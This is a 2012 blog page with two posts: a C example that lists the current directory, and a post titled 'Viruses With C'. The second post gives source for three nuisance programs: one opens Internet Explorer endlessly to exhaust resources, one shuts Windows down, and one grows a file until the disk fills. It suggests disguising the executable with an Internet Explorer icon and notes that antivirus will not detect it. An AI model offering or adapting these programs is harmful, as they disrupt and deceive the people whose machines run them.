Tuesday, 26 June 2012

How to get the Current Directory List in C

Lately, I have been trying to get Current Directory List for one of my program in C. So, thought of sharing this with you all.

Source Code

    #include <stdio.h>
     #include <sys/types.h>
     #include <dirent.h>
     #include<conio.h>

     int main (void)
     {
       DIR *dp;
       struct dirent *ep;
     
       dp = opendir ("./");
       if (dp != NULL)
         {
           while (ep = readdir (dp))
            printf("%s \n", ep->d_name);
            getch();
           (void) closedir (dp);
         }
       else
         printf ("Couldn't open the directory");
     
       return 0;
     }
This code has been taken from gnu.org

Output



Data Type: struct dirent

This is a structure type used to return information about directory entries.


Data Type: DIR
The DIR data type represents a directory stream.
You shouldn't ever allocate objects of the struct dirent or DIR data types, since the directory access functions do that for you.

Functions Used Under <dirent.h>
  • struct dirent * readdir (DIR *dirstream) 
This function reads the next entry from the directory. It normally returns a pointer to a structure containing information about the file. This structure is statically allocated and can be rewritten by a subsequent call.
  • int closedir (DIR *dirstream) 
This function closes the directory stream dirstream. It returns 0 on success and -1 on failure.
  • DIR * opendir (const char *dirname)
The opendir function opens and returns a directory stream for reading the directory whose file name is dirname. The stream has type DIR *.
If unsuccessful, opendir returns a null pointer.

Thursday, 21 June 2012

Viruses With C

After reading C, C++ and OOPs using C++ for almost 2 to 3 years, I wanted to explore what else we can do with this language apart from writing the age old programs on fibbonici series, factorial, series and etc. etc. etc.\
So, here I am fulfilling my childhood (Class 8 :D ) dreams of owning my own virus.

What is Virus?
A computer virus is a piece of code that is loaded onto your computer without your knowledge, generally runs against your wishes and replicates and spreads from one computer to another.

Since generally virus are used for destructive purposes it should not be made and used on other's computers. So, test these programs on your own machine and delete them to recover from it.

  • Program that will open up Internet Explorer infinitely.
void main()
{
         for( ; ; )
        {
              system("c:\\progra~1\\intern~1\\iexplore.exe");
//Path for Internet Explorer
         }
}


In this program, system() is used to start Internet Explorer and the for loop ensures that the statement is executed infinite no. of times.

Save this program as Internet Explorer.c and compile the above program. Now check the directory where you have saved it. You will get Internet Explorer.exe
Now you can double click on that file to start the virus.

Note: You can also change the icon of the exe file to resemble it to Internet Explorer.

  • Program that will Shut down Windows computer
void main()
{
    system("shutdown -s");
}

Again repeat the previous process.

  • Program for a self growing file whose size increases infinitely
void main()
{
  while(1)
       {
         system("dir>>sa.exe");
       }
}

Save it as Virus.c and compile it. You get Virus.exe, Double clicking it will execute the file. The system call dir>>sa.exe will execute dir command and redirect its O/P to the file sa.exe

To recover your system just delete Virus.exe and sa.exe files

------------------------------------------------
As you can see here virus are nothing but codes of program giving calls to command prompt commands. Even if you scan them with AntiVirus you won't find any virus alert.